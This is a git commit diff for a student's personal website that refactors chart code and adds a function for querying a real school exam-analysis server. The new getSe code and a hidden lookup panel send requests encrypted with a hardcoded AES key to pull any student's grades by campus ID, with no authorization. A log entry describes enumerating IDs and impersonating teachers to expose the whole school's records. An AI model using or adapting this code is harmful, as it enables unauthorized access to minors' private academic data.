Browse Source

update score & blog

root 2 years ago
parent
commit
d0d9951007
9 changed files with 261 additions and 454 deletions
  1. 0 0
      blog/css/main.css
  2. 0 0
      blog/index.html
  3. 0 0
      blog/posts/note/index.html
  4. 0 0
      blog/posts/t-note/index.html
  5. 13 13
      blog/sitemap.xml
  6. 197 323
      js/score.js
  7. 18 4
      log/index.html
  8. 27 22
      score/index.html
  9. 6 92
      test/index.html

File diff suppressed because it is too large
+ 0 - 0
blog/css/main.css


File diff suppressed because it is too large
+ 0 - 0
blog/index.html


File diff suppressed because it is too large
+ 0 - 0
blog/posts/note/index.html


File diff suppressed because it is too large
+ 0 - 0
blog/posts/t-note/index.html


+ 13 - 13
blog/sitemap.xml

@@ -4,7 +4,7 @@
   <url>
     <loc>https://schtonn.github.io/blog/posts/t-note/</loc>
     
-    <lastmod>2022-12-14</lastmod>
+    <lastmod>2022-12-16</lastmod>
     
   </url>
   
@@ -256,64 +256,64 @@
 
   <url>
     <loc>https://schtonn.github.io/blog</loc>
-    <lastmod>2022-12-14</lastmod>
+    <lastmod>2022-12-16</lastmod>
     <changefreq>daily</changefreq>
     <priority>1.0</priority>
   </url>
 
   
   <url>
-    <loc>https://schtonn.github.io/blog/tags/string/</loc>
-    <lastmod>2022-12-14</lastmod>
+    <loc>https://schtonn.github.io/blog/tags/math/</loc>
+    <lastmod>2022-12-16</lastmod>
     <changefreq>daily</changefreq>
     <priority>0.6</priority>
   </url>
   
   <url>
-    <loc>https://schtonn.github.io/blog/tags/graph/</loc>
-    <lastmod>2022-12-14</lastmod>
+    <loc>https://schtonn.github.io/blog/tags/string/</loc>
+    <lastmod>2022-12-16</lastmod>
     <changefreq>daily</changefreq>
     <priority>0.6</priority>
   </url>
   
   <url>
-    <loc>https://schtonn.github.io/blog/tags/math/</loc>
-    <lastmod>2022-12-14</lastmod>
+    <loc>https://schtonn.github.io/blog/tags/graph/</loc>
+    <lastmod>2022-12-16</lastmod>
     <changefreq>daily</changefreq>
     <priority>0.6</priority>
   </url>
   
   <url>
     <loc>https://schtonn.github.io/blog/tags/other/</loc>
-    <lastmod>2022-12-14</lastmod>
+    <lastmod>2022-12-16</lastmod>
     <changefreq>daily</changefreq>
     <priority>0.6</priority>
   </url>
   
   <url>
     <loc>https://schtonn.github.io/blog/tags/dp/</loc>
-    <lastmod>2022-12-14</lastmod>
+    <lastmod>2022-12-16</lastmod>
     <changefreq>daily</changefreq>
     <priority>0.6</priority>
   </url>
   
   <url>
     <loc>https://schtonn.github.io/blog/tags/matrix/</loc>
-    <lastmod>2022-12-14</lastmod>
+    <lastmod>2022-12-16</lastmod>
     <changefreq>daily</changefreq>
     <priority>0.6</priority>
   </url>
   
   <url>
     <loc>https://schtonn.github.io/blog/tags/tree/</loc>
-    <lastmod>2022-12-14</lastmod>
+    <lastmod>2022-12-16</lastmod>
     <changefreq>daily</changefreq>
     <priority>0.6</priority>
   </url>
   
   <url>
     <loc>https://schtonn.github.io/blog/tags/struct/</loc>
-    <lastmod>2022-12-14</lastmod>
+    <lastmod>2022-12-16</lastmod>
     <changefreq>daily</changefreq>
     <priority>0.6</priority>
   </url>

+ 197 - 323
js/score.js

@@ -1,5 +1,5 @@
 function toggleHide() {
-    $(".hidable").toggle();
+    $(".hidable").toggle(1000);
 };
 
 var postKnownExams = '3129,3096,3132,3101,3104,3087,3111,3092,3116,3067,3061,3121,3122,3123,3124,3125,3126,3127,3128,3130,3131,3132,3133,3134,3135,3136,3137,3138,3139,3140,3141,3142,3143,3144,3145,3146'
@@ -51,12 +51,6 @@ document.onkeydown = function (event) {
         else if (e.key == "ArrowRight") {
             nextFile();
         }
-        //  else if ('1' <= e.key && e.key <= '9') {
-        //     if (parseInt(e.key) <= fileCount) {
-        //         cur = parseInt(e.key) - 1;
-        //         processFiles();
-        //     }
-        // }
     }
 };
 
@@ -72,14 +66,11 @@ function getFiles(event) {
 
 const key = CryptoJS.enc.Utf8.parse("abcdefgabcdefg12");
 function aesDecrypt(encrypted) {
-    var encryptedHexStr = CryptoJS.enc.Hex.parse(encrypted);
     var cipherParams = CryptoJS.lib.CipherParams.create({ ciphertext: CryptoJS.enc.Hex.parse(encrypted) })
     var decrypted = CryptoJS.AES.decrypt(cipherParams, key, { mode: CryptoJS.mode.ECB, padding: CryptoJS.pad.Pkcs7 });
-    var decryptedStr = decrypted.toString(CryptoJS.enc.Utf8);
-    return decryptedStr;
+    return decrypted.toString(CryptoJS.enc.Utf8);
 }
 function aesEncrypt(encrypted) {
-    var cipherParams = CryptoJS.lib.CipherParams.create({ ciphertext: CryptoJS.enc.Hex.parse(encrypted) })
     return CryptoJS.AES.encrypt(encrypted, key, { mode: CryptoJS.mode.ECB, padding: CryptoJS.pad.Pkcs7 }).ciphertext.toString();
 }
 
@@ -106,7 +97,6 @@ function stringToByte(str) {
         }
     }
     return bytes;
-
 }
 
 $().ready(function () {
@@ -117,6 +107,8 @@ $().ready(function () {
     });
 })
 
+var stuId = {}, examId = {}
+
 function fetchDo(id) {
     var bd = '{"meId":' + $('#Id').val() + ',"seIds":"' + knownExams + '","schoolId":19707,"studentId":"' + id + '"}';
     console.log(bd)
@@ -143,7 +135,6 @@ function fetchDo(id) {
     })
 }
 
-
 function fetchMe(id) {
     if (!parseInt(id)) {
         fetch('/js/e.json', {
@@ -162,6 +153,40 @@ function fetchMe(id) {
     } else fetchDo(id)
 }
 
+function getSe(id) {
+    console.log(id)
+    if (!stuId[cur]) stuId[cur] = prompt('数字校园号?')
+    if (!examId[cur]) examId[cur] = prompt('考试编号?(心意答点击考试标题后,切换考试的列表里可见)')
+    var bd = '{"schoolId":19707,"seId":' + id + ',"studentId":"' + stuId[cur] + '"}';
+    console.log(bd)
+    bd = aesEncrypt(bd)
+    fetch('http://36.112.23.77/analysis/api/student/exam/getStudentReportSEVO', {
+        method: 'POST',
+        headers: {
+            'Content-type': 'application/json',
+        },
+        body: bd
+    }).then(res => {
+        res.json().then(resj => {
+            // $('#singleDat').html(aesDecrypt(resj.data))
+        });
+    })
+    bd = '{"schoolId":19707,"meId":' + examId[cur] + ',"seId":' + id + ',"studentId":"' + stuId[cur] + '"}';
+    console.log(bd)
+    bd = aesEncrypt(bd)
+    fetch('http://36.112.23.77/analysis/api/student/exam/getStuExamDetailInfo', {
+        method: 'POST',
+        headers: {
+            'Content-type': 'application/json',
+        },
+        body: bd
+    }).then(res => {
+        res.json().then(resj => {
+            $('#singleDat').html(aesDecrypt(resj.data))
+        });
+    })
+}
+
 function processFiles(isFirstTime = 0) {
     console.log("Start processing No. " + cur);
     var file = files[cur];
@@ -176,7 +201,6 @@ function processFiles(isFirstTime = 0) {
     upIcon.classList.add('glyphicon-open');
 
     var reader = new FileReader();
-    var content = "";
     reader.onload = function (event) {
         try {
 
@@ -185,9 +209,14 @@ function processFiles(isFirstTime = 0) {
             var name = $("#name")[0];
             var object = eval("(" + event.target.result + ")");
             var classText = "", gradingText = "";
+            $('#single').empty();
 
             object.data = eval("(" + aesDecrypt(object.data).toString() + ")");
-            console.log(object.data)
+
+            examId[cur] = object.data.meId.toString();
+            stuId[cur] = object.data.studentId;
+
+            console.log(examId[cur], stuId[cur])
             info.innerHTML = "<h3>" + object.data.multiExam.meName + "</h3>"
             console.log(object.data.multiExam.meName)
             var seIds = [], seNames = [], iter = 1;
@@ -239,13 +268,11 @@ function processFiles(isFirstTime = 0) {
                 rate75[dId] = datClass[i].secs3quatrerScore;
                 rate100[dId] = datClass[i].secsMaxScore;
                 rateFull[dId] = datMulti[seIdDic[i]].seFullScore;
-                // scoreRate[dId] = decimal(datSingle[i].essScore / datMulti[seIdDic[i]].seFullScore, 3);
                 classOrderP[dId] = datSingle[i].essClassOrder;
                 gradeOrderP[dId] = datSingle[i].essGradeOrder;
                 classOrder[dId] = decimal(1 - datSingle[i].essClassOrder / datClass[i].secsStudentCount, 3);
                 gradeOrder[dId] = decimal(1 - datSingle[i].essGradeOrder / datMulti[seIdDic[i]].seStudentCount, 3);
             }
-            // scoreRate["0"] = decimal(object.data.multiExamStudentScore.messScore / object.data.multiExam.meFullScore, 3);
             classOrder["0"] = decimal(1 - object.data.multiExamStudentScore.messClassOrder / object.data.multiExamClassScores[0].mecsStudentCount, 3); + "<br>"
             gradeOrder["0"] = decimal(1 - object.data.multiExamStudentScore.messGradeOrder / object.data.multiExamSchoolScore.mecsStudentCount, 3); + "<br>"
             classOrderP["0"] = object.data.multiExamStudentScore.messClassOrder;
@@ -271,6 +298,8 @@ function processFiles(isFirstTime = 0) {
                 var g = seIdRev[i];
                 if (!datSingle[g]) continue;
 
+                $('#single').append('<button class="btn btn-danger btn-how" onclick="getSe(' + seIds[i] + ');$(\'.btn-how\').removeClass(\'active\');$(this).addClass(\'active\')">' + seNameDic[datSingle[g].seId] + '</button>')
+
                 classText += "<h4>"
                     + seNameDic[datSingle[g].seId] + "</h4>"
                     + "<b>单科分数:" + datSingle[g].essScore + "</b><br><br>"
@@ -310,18 +339,9 @@ function processFiles(isFirstTime = 0) {
             upIcon.classList.add('glyphicon-exclamation-sign');
             return;
         }
-        // sheetOutput("各科得分比例一览表", scoreRate);
-        // sheetOutput("各科班级排名一览表", classOrder);
-        // sheetOutput("各科分层班级排名一览表", ysClassOrder);
-        // sheetOutput("各科年级排名一览表", gradeOrder);
+
+        $('#single').append('<pre id="singleDat" style="word-wrap: break-word; white-space: normal"></pre><br><br><br>')
         if (isFirstTime) {
-            // const up = AV.Object.extend('Score');
-            // const upload = new up();
-            // upload.set('name', object.data.multiExamStudentScore.studentName);
-            // upload.set('classId', parseInt(object.data.examStudents[0].classId));
-            // upload.save().then((upload) => {
-            //     console.log("success" + upload);
-            // });
             var bd = JSON.stringify({
                 content: object.data.multiExamStudentScore.studentName + ' ' + parseInt(object.data.examStudents[0].classId),
             })
@@ -408,30 +428,14 @@ function processFiles(isFirstTime = 0) {
             ysClassOrderPP.push(ysClassOrderP[i]);
             ysClassOrderQ.push(decimal(ysClassOrder[i] * 100, 1));
         }
-        var sOp1 = {
-            textStyle: {
-                fontFamily: 'Noto Serif SC'
-            },
-            title: {
-                text: '分数',
-                textStyle: {
-                    fontSize: 14,
-                    fontStyle: 'normal',
-                    fontWeight: 'bold',
-                },
-            },
-            tooltip: {
-                trigger: 'axis'
-            },
-            legend: {
-                data: ['0%', '25%', '50%', '75%', '100%', '满分', '平均分', '我的分数']
-            },
+
+        var opBase = {
+            textStyle: { fontFamily: 'Noto Serif SC' },
+            tooltip: { trigger: 'axis' },
             toolbox: {
                 show: true,
                 feature: {
-                    saveAsImage: {
-                        show: true
-                    },
+                    saveAsImage: { show: true },
                     dataView: {
                         show: true,
                         readOnly: false
@@ -441,291 +445,161 @@ function processFiles(isFirstTime = 0) {
                 orient: 'vertical'
             },
             calculable: true,
-            xAxis: [{
-                type: 'category', data: seNameDicP,
-                name: '科目',
-                position: 'left'
-            }],
-            yAxis: [{
-                type: 'value', name: '分数', position: 'left'
-            }],
-            series: [{
-                name: '0%', type: 'line', data: rate0P, color: '#5cb85c'
-            }, {
-                name: '25%', type: 'line', data: rate25P, color: '#c7dc68'
-            }, {
-                name: '50%', type: 'line', data: rate50P, color: '#c7dc68'
-            }, {
-                name: '75%', type: 'line', data: rate75P, color: '#c7dc68'
-            }, {
-                name: '100%', type: 'line', data: rate100P, color: '#5cb85c'
-            }, {
-                name: '满分', type: 'line', data: rateFullP, color: '#f0ad4e'
-            }, {
-                name: '平均分', type: 'line', data: avgPP, color: '#337ab7'
-            }, {
-                name: '我的分数', type: 'line', data: scorePP, color: '#e2041b'
-            }],
-        };
-        var sOp2 = {
+        }
+        var sOp1 = { ...opBase }, sOp2 = { ...opBase }, oOp1 = { ...opBase }, oOp2 = { ...opBase }, oOp3 = { ...opBase }, oOp4 = { ...opBase };
+        sOp1.title = {
+            text: '分数',
             textStyle: {
-                fontFamily: 'Noto Serif SC'
-            },
-            title: {
-                text: '得分率',
-                textStyle: {
-                    fontSize: 14,
-                    fontStyle: 'normal',
-                    fontWeight: 'bold',
-                },
-            },
-            tooltip: {
-                trigger: 'axis'
-            },
-            legend: {
-                data: ['0%', '25%', '50%', '75%', '100%', '平均得分率', '我的得分率']
+                fontSize: 14,
+                fontStyle: 'normal',
+                fontWeight: 'bold',
             },
-            toolbox: {
-                show: true,
-                feature: {
-                    saveAsImage: {
-                        show: true
-                    },
-                    dataView: {
-                        show: true,
-                        readOnly: false
-                    }
-                },
-                padding: 25,
-                orient: 'vertical'
-            },
-            calculable: true,
-            xAxis: [{
-                type: 'category',
-
-                data: seNameDicP,
-                name: '科目',
-                position: 'left'
-            }],
-            yAxis: [{
-                type: 'value',
-                name: '得分率(%)',
-                position: 'left'
-            }],
-            series: [{
-                name: '0%', type: 'line', data: rate0Q, color: '#5cb85c'
-            }, {
-                name: '25%', type: 'line', data: rate25Q, color: '#c7dc68'
-            }, {
-                name: '50%', type: 'line', data: rate50Q, color: '#c7dc68'
-            }, {
-                name: '75%', type: 'line', data: rate75Q, color: '#c7dc68'
-            }, {
-                name: '100%', type: 'line', data: rate100Q, color: '#5cb85c'
-            }, {
-                name: '平均得分率', type: 'line', data: avgQ, color: '#337ab7'
-            }, {
-                name: '我的得分率', type: 'line', data: scoreQ, color: '#d9534f'
-            }
-
-            ]
-        };
-
-        var oOp1 = {
+        }
+        sOp1.legend = { data: ['0%', '25%', '50%', '75%', '100%', '满分', '平均分', '我的分数'] }
+        sOp1.xAxis = [{
+            type: 'category', data: seNameDicP,
+            name: '科目',
+            position: 'left'
+        }]
+        sOp1.yAxis = [{
+            type: 'value', name: '分数', position: 'left'
+        }]
+        sOp1.series = [
+            { name: '0%', type: 'line', data: rate0P, color: '#5cb85c' },
+            { name: '25%', type: 'line', data: rate25P, color: '#c7dc68' },
+            { name: '50%', type: 'line', data: rate50P, color: '#c7dc68' },
+            { name: '75%', type: 'line', data: rate75P, color: '#c7dc68' },
+            { name: '100%', type: 'line', data: rate100P, color: '#5cb85c' },
+            { name: '满分', type: 'line', data: rateFullP, color: '#f0ad4e' },
+            { name: '平均分', type: 'line', data: avgPP, color: '#337ab7' },
+            { name: '我的分数', type: 'line', data: scorePP, color: '#e2041b' }
+        ]
+
+        sOp2.title = {
+            text: '得分率',
             textStyle: {
-                fontFamily: 'Noto Serif SC'
-            }, title: {
-                text: '行政排名位次',
-                textStyle: {
-                    fontSize: 14,
-                    fontStyle: 'normal',
-                    fontWeight: 'bold'
-                },
-            },
-            tooltip: {
-                trigger: 'axis'
+                fontSize: 14,
+                fontStyle: 'normal',
+                fontWeight: 'bold',
             },
-            legend: {
-                data: ['班级排名', '年级排名']
-            },
-            toolbox: {
-                show: true,
-                feature: {
-                    saveAsImage: {
-                        show: true
-                    },
-                    dataView: {
-                        show: true,
-                        readOnly: false
-                    }
-                },
-                padding: 25,
-                orient: 'vertical'
-            },
-            calculable: true,
-            xAxis: [{
-                type: 'category', data: seNameDicP2,
-                name: '科目',
-                position: 'left'
-            }],
-            yAxis: [{
-                type: 'value',
-                name: '排名',
-                position: 'left'
-            }],
-            series: [{
-                name: '班级排名', type: 'bar', data: classOrderPP, color: '#5bc0de'
-            }, {
-                name: '年级排名', type: 'bar', data: gradeOrderPP, color: '#337ab7'
-            }
-            ]
-        };
-
-        var oOp2 = {
+        }
+        sOp2.legend = { data: ['0%', '25%', '50%', '75%', '100%', '平均得分率', '我的得分率'] }
+        sOp2.xAxis = [{
+            type: 'category',
+            data: seNameDicP,
+            name: '科目',
+            position: 'left'
+        }]
+        sOp2.yAxis = [{
+            type: 'value',
+            name: '得分率(%)',
+            position: 'left'
+        }]
+        sOp2.series = [
+            { name: '0%', type: 'line', data: rate0Q, color: '#5cb85c' },
+            { name: '25%', type: 'line', data: rate25Q, color: '#c7dc68' },
+            { name: '50%', type: 'line', data: rate50Q, color: '#c7dc68' },
+            { name: '75%', type: 'line', data: rate75Q, color: '#c7dc68' },
+            { name: '100%', type: 'line', data: rate100Q, color: '#5cb85c' },
+            { name: '平均得分率', type: 'line', data: avgQ, color: '#337ab7' },
+            { name: '我的得分率', type: 'line', data: scoreQ, color: '#d9534f' }
+        ]
+
+
+        oOp1.title = {
+            text: '行政排名位次',
             textStyle: {
-                fontFamily: 'Noto Serif SC'
-            }, title: {
-                text: '行政排名比例',
-                textStyle: {
-                    fontSize: 14,
-                    fontStyle: 'normal',
-                    fontWeight: 'bold'
-                },
-            },
-            tooltip: {
-                trigger: 'axis'
-            },
-            legend: {
-                data: ['班级排名(%)', '年级排名(%)']
+                fontSize: 14,
+                fontStyle: 'normal',
+                fontWeight: 'bold',
             },
-            toolbox: {
-                show: true,
-                feature: {
-                    saveAsImage: {
-                        show: true
-                    },
-                    dataView: {
-                        show: true,
-                        readOnly: false
-                    }
-                },
-                padding: 25,
-                orient: 'vertical'
-            },
-            calculable: true,
-            xAxis: [{
-                type: 'category', data: seNameDicP2,
-                name: '科目',
-                position: 'left'
-            }],
-            yAxis: [{
-                type: 'value',
-                name: '排名(%)',
-                position: 'left'
-            }],
-            series: [{
-                name: '班级排名(%)', type: 'bar', data: classOrderQ, color: '#5bc0de'
-            }, {
-                name: '年级排名(%)', type: 'bar', data: gradeOrderQ, color: '#337ab7'
-            }
-            ]
-        };
-
-        var oOp3 = {
+        }
+        oOp1.legend = { data: ['班级排名', '年级排名'] }
+        oOp1.xAxis = [{
+            type: 'category', data: seNameDicP2,
+            name: '科目',
+            position: 'left'
+        }]
+        oOp1.yAxis = [{
+            type: 'value',
+            name: '排名',
+            position: 'left'
+        }]
+        oOp1.series = [
+            { name: '班级排名', type: 'bar', data: classOrderPP, color: '#5bc0de' },
+            { name: '年级排名', type: 'bar', data: gradeOrderPP, color: '#337ab7' }
+        ]
+
+        oOp2.title = {
+            text: '行政排名比例',
             textStyle: {
-                fontFamily: 'Noto Serif SC'
-            }, title: {
-                text: '分班排名位次',
-                textStyle: {
-                    fontSize: 14,
-                    fontStyle: 'normal',
-                    fontWeight: 'bold'
-                },
+                fontSize: 14,
+                fontStyle: 'normal',
+                fontWeight: 'bold',
             },
-            tooltip: {
-                trigger: 'axis'
-            },
-            legend: {
-                data: ['分班排名']
-            },
-            toolbox: {
-                show: true,
-                feature: {
-                    saveAsImage: {
-                        show: true
-                    },
-                    dataView: {
-                        show: true,
-                        readOnly: false
-                    }
-                },
-                padding: 25,
-                orient: 'vertical'
-            },
-            calculable: true,
-            xAxis: [{
-                type: 'category', data: seNameDicP3,
-                name: '科目',
-                position: 'left'
-            }],
-            yAxis: [{
-                type: 'value',
-                name: '排名',
-                position: 'left'
-            }],
-            series: [{
-                name: '分班排名', type: 'bar', data: ysClassOrderPP, color: '#5cb85c'
-            }
-            ]
-        };
-
-        var oOp4 = {
+        }
+        oOp2.legend = { data: ['班级排名(%)', '年级排名(%)'] }
+        oOp2.xAxis = [{
+            type: 'category', data: seNameDicP2,
+            name: '科目',
+            position: 'left'
+        }]
+        oOp2.yAxis = [{
+            type: 'value',
+            name: '排名(%)',
+            position: 'left'
+        }]
+        oOp2.series = [
+            { name: '班级排名(%)', type: 'bar', data: classOrderQ, color: '#5bc0de' },
+            { name: '年级排名(%)', type: 'bar', data: gradeOrderQ, color: '#337ab7' }
+        ]
+
+        oOp3.title = {
+            text: '分班排名位次',
             textStyle: {
-                fontFamily: 'Noto Serif SC'
-            }, title: {
-                text: '分班排名比例',
-                textStyle: {
-                    fontSize: 14,
-                    fontStyle: 'normal',
-                    fontWeight: 'bold'
-                },
-            },
-            tooltip: {
-                trigger: 'axis'
-            },
-            legend: {
-                data: ['分班排名(%)']
+                fontSize: 14,
+                fontStyle: 'normal',
+                fontWeight: 'bold',
             },
-            toolbox: {
-                show: true,
-                feature: {
-                    saveAsImage: {
-                        show: true
-                    },
-                    dataView: {
-                        show: true,
-                        readOnly: false
-                    }
-                },
-                padding: 25,
-                orient: 'vertical'
+        }
+        oOp3.legend = { data: ['分班排名'] }
+        oOp3.xAxis = [{
+            type: 'category', data: seNameDicP3,
+            name: '科目',
+            position: 'left'
+        }]
+        oOp3.yAxis = [{
+            type: 'value',
+            name: '排名',
+            position: 'left'
+        }]
+        oOp3.series = [{
+            name: '分班排名', type: 'bar', data: ysClassOrderPP, color: '#5cb85c'
+        }]
+
+        oOp4.title = {
+            text: '分班排名比例',
+            textStyle: {
+                fontSize: 14,
+                fontStyle: 'normal',
+                fontWeight: 'bold',
             },
-            calculable: true,
-            xAxis: [{
-                type: 'category', data: seNameDicP3,
-                name: '科目',
-                position: 'left'
-            }],
-            yAxis: [{
-                type: 'value',
-                name: '排名(%)',
-                position: 'left'
-            }],
-            series: [{
-                name: '分班排名(%)', type: 'bar', data: ysClassOrderQ, color: '#5cb85c'
-            }
-            ]
-        };
+        }
+        oOp4.legend = { data: ['分班排名(%)'] }
+        oOp4.xAxis = [{
+            type: 'category', data: seNameDicP3,
+            name: '科目',
+            position: 'left'
+        }]
+        oOp4.yAxis = [{
+            type: 'value',
+            name: '排名(%)',
+            position: 'left'
+        }]
+        oOp4.series = [{
+            name: '分班排名(%)', type: 'bar', data: ysClassOrderQ, color: '#5cb85c'
+        }]
+
 
         // 为echarts对象加载数据 
         sChart1.setOption(sOp1);

+ 18 - 4
log/index.html

@@ -89,7 +89,18 @@
     <div class="page-header">
         <h1>网站日志</h1>
     </div>
-    
+
+    <h3>
+        2022.12.16
+        <small><a href="http://36.112.23.77/">36.112.23.77</a></small>
+    </h3>
+    <p>这个心意答,简直就是活靶子,循循善诱地让人把他完全攻破。</p>
+    <p>它还有个合适的难度曲线,从未加密的接口里偷数据,到双向加密的接口进行解密,到虚伪的 uuid 验证,每一步都能放出刺激而又吓人的新信息。</p>
+    <p>我们只能期望,不要有太多人来想着攻击这些接口,不然来一个攻破一个,到时候大家的成绩都成公开的秘密了。</p>
+    <p>我们说它蠢事做尽,还好它坏事没做到底,至少阅卷的权限还握在登陆验证手里。可是,既然会登陆验证了,其他各种东西,如每次考试的成绩单、详细的分析,这些却都完全不需要登陆验证。只要在客户端合适的位置写好老师的校园号(可以从校园邮箱里检索),再模仿网页进行潦草的加密,你就得到了老师的身份,全校所有人的各种信息都暴露无遗。</p>
+    <p>它在加密上也完全没有用心,只草草加了一层 base64 和 AES,密码竟然明文放在 javascript 文件里。而且,这样危险的接口完全不是这么加密来的吧!理应在每个有敏感信息的接口都放上登陆验证,这才能体现出对学生隐私的重视。</p>
+    <hr>
+
     <h3>
         2022.12.14
         <small><a href="/score">score</a>、<a href="/blog">blog</a></small>
@@ -97,7 +108,8 @@
     <p>今天的发现特别离谱。</p>
     <p>心意答查询成绩的接口只经过了一层双向加密,没有丝毫验证身份的手段,并且返回的数据也多于显示的数据,结果就是只要知道考试编号、科目编号和数字校园号就能直接查到这个人,以及他的班级详尽的成绩。</p>
     <p>更有甚者,在线学习平台直接放出了全年级所有人的姓名和数字校园号的对照表,以至于只要知道姓名就能查出成绩来。</p>
-    <p>以及,它返回信息的模式属于能返则返,也就是说我不知道科目编号,可以直接放两百个进接口里,它还自动筛选出存在的科目编号;不知道考试编号也能一个一个试出来:就算考试和校园号完全对不上,它也会返回考试名称。对我们这些<i>阴险的窃取者</i>来说,这简直是太方便了。</p>
+    <p>以及,它返回信息的模式属于能返则返,也就是说我不知道科目编号,可以直接放两百个进接口里,它还自动筛选出存在的科目编号;不知道考试编号也能一个一个试出来:就算考试和校园号完全对不上,它也会返回考试名称。对我们这些<i>阴险的窃取者</i>来说,这简直是太方便了。
+    </p>
     <p><b>只需要知道一个姓名,你历次考试的成绩就全都查出来,这就是信息泄露的危害...</b></p>
     <p>查成绩的接口,这样的安全性不能说离谱,只能说是离谱至极。</p>
     <p>除此之外,今天还把博客通过暴力粘贴的方式搬运过来了。</p>
@@ -125,8 +137,10 @@
         <small>release</small>
     </h3>
     <p>折腾了半天,总算把网站放到公网上了。</p>
-    <p>为了方便,我大致梳理一下,原先只是在 <a href="http://schtonn.github.io/">schtonn.github.io</a> 和 <a href="http://schtonn.gitee.io/">schtonn.gitee.io</a> 上写博客,随后把实现的几个小功能拉起来拼凑了个页面。</p>
-    <p>后来gitee停止服务了,我又想学习学习后端开发,所以目前网站在 <a href="http://43.143.233.184/">http://43.143.233.184/</a>,应该会保持更新,不过暂时还没有购置域名的打算。</p>
+    <p>为了方便,我大致梳理一下,原先只是在 <a href="http://schtonn.github.io/">schtonn.github.io</a> 和 <a
+            href="http://schtonn.gitee.io/">schtonn.gitee.io</a> 上写博客,随后把实现的几个小功能拉起来拼凑了个页面。</p>
+    <p>后来gitee停止服务了,我又想学习学习后端开发,所以目前网站在 <a
+            href="http://43.143.233.184/">http://43.143.233.184/</a>,应该会保持更新,不过暂时还没有购置域名的打算。</p>
     <hr>
 
     <h3>

+ 27 - 22
score/index.html

@@ -46,6 +46,12 @@
             -webkit-box-shadow: inset 0 3px 3px rgb(0 0 0 / 5%);
             box-shadow: inset 0 3px 3px rgb(0 0 0 / 5%);
         }
+
+        .btn.btn-how{
+            border-bottom: none;
+            border-bottom-left-radius: 0;
+            border-bottom-right-radius: 0;
+        }
     </style>
     <title>
         实验中学成绩整理
@@ -55,20 +61,6 @@
 <body>
     <a class="btn btn-info" href="/" style="text-shadow: rgb(85, 85, 85) 3px 2px 4px;"><span
             class="glyphicon glyphicon-home" aria-hidden="true"></span>&nbsp;返回</a>
-    <span class="fetch" style="display:none">(暴露优质接口-无安全意识、实在愚蠢;)</span>
-    <div class="input-group fetch" style="display:none">
-        <span class="input-group-addon">考试编号</span>
-        <input id="Id" type="text" class="form-control" autocomplete="off" placeholder="972" value="972">
-    </div>
-    <div class="input-group fetch" style="display:none">
-        <span class="input-group-addon"><a href="/js/e.json" onclick="setWeigh2()" data-toggle="tooltip" data-placement="bottom"
-            title="仅限2025届高考部">姓名</a>或数字校园号</span>
-        <input id="Input" type="text" class="form-control" autocomplete="off" placeholder="20222001 或 小明">
-        <span class="input-group-btn">
-            <button type="button" class="btn btn-default" onclick="fetchMe($('#Input').val())"
-                id="fetchBtn">FETCH</button>
-        </span>
-    </div>
     <a tabindex="0" class="btn btn-warning hidable toggleHide" onclick="toggleHide();"
         style="text-shadow: rgb(85, 85, 85) 3px 2px 4px;display:none;">
         <span class="glyphicon glyphicon-eye-close" aria-hidden="true"></span>
@@ -90,7 +82,7 @@
         <p>6. 此时应看到“{data: {,...”等数据,一定在数据第一行右键(或在其最后一行下方空白处右键),随后“<b>复制物体</b>”或“<b>Copy Object</b>”;</p>
         <p>7. 新建文本文档(格式为 txt,不可用 Word 文档),将所复制的内容粘贴并保存,于下方按钮打开。</p>
         <p style="font-size: 12px;font-style: italic;">
-            注:图表整理均在本地进行,你的成绩不会上传到网络。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;把所有人的成绩信息完整地公布在接口上,心意答我真服了你!
+            注:图表整理均在本地进行,你的成绩不会上传到网络(上传与否,已经不重要了)。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;把所有人的成绩信息完整地公布在接口上,心意答我真服了你!
         </p>
         <h3>操作指南</h3>
         <p>1. 加载多个文件后,使用方向键或右下角控件可在文件间快速切换,方便比较;</p>
@@ -98,7 +90,20 @@
         <p>3. 一览表中 "0%" 代表最低分,"100%" 代表最高分,以此类推。</p>
         <br>
     </div>
-    <img>
+    <div class="fetch" style="display:none">(暴露优质接口-无安全意识、实在愚蠢;)</div>
+    <div class="input-group fetch" style="display:none">
+        <span class="input-group-addon">考试编号</span>
+        <input id="Id" type="text" class="form-control" autocomplete="off" placeholder="972" value="972">
+    </div>
+    <div class="input-group fetch" style="display:none">
+        <span class="input-group-addon"><a href="/js/e.json" onclick="setWeigh2()" data-toggle="tooltip"
+                data-placement="bottom" title="仅限2025届高考部">姓名</a>或数字校园号</span>
+        <input id="Input" type="text" class="form-control" autocomplete="off" placeholder="20222001 或 小明">
+        <span class="input-group-btn">
+            <button type="button" class="btn btn-default" onclick="fetchMe($('#Input').val())"
+                id="fetchBtn">FETCH</button>
+        </span>
+    </div>
     <div style="text-align: center;" class="hidable">
         <div class="btn-group">
             <a tabindex="0" class="btn btn-default" href="tutor/"
@@ -111,9 +116,9 @@
                     style="display: none;" id="fileInput" type="file" onchange="getFiles(event)">
             </a>
             <a id="upbtn" tabindex="0" class="btn btn-danger"
-                onclick="var a=aesEncrypt(prompt('我的班级')),b=aesEncrypt(prompt('我的学号'));if(a=='1170185235a2b833f24d4cf0e7d3f1c1'&&b=='b1b384c7b1e81d67482a132f60b3456e')$('.fetch').toggle();else alert('你非我')"
+                onclick="var a=aesEncrypt(prompt('我的班级')),b=aesEncrypt(prompt('我的学号'));if(a=='1170185235a2b833f24d4cf0e7d3f1c1'&&b=='b1b384c7b1e81d67482a132f60b3456e')$('.fetch').toggle(1000);else alert('你非我')"
                 style="text-shadow: rgb(85, 85, 85) 3px 2px 4px;display:inline-block;">
-                <b class="blurred">?!</b>
+                <b>?!</b>
             </a>
             <!-- If you must... -->
         </div>
@@ -141,7 +146,7 @@
         <ul class="nav nav-tabs">
             <li class="active"><a href="#chart" data-toggle="tab">图表</a></li>
             <li><a href="#data" data-toggle="tab">数据</a></li>
-            <!-- <li><a href="#3" data-toggle="tab">iOS</a></li> -->
+            <li><a href="#single" data-toggle="tab">单科</a></li>
         </ul>
         <div class="tab-content well well-sm">
             <div class="tab-pane fade in active" id="chart">
@@ -149,6 +154,7 @@
                 <h4>班内一览表</h4>
                 <div id="score1" class="chart"></div>
                 <div id="score2" class="chart"></div>
+                <h4>排名</h4>
                 <div id="order1" class="chart"></div>
                 <div id="order2" class="chart"></div>
                 <div id="order3" class="chart"></div>
@@ -157,9 +163,8 @@
             <div class="tab-pane fade" id="data">
                 <div id="fileOutput"></div>
             </div>
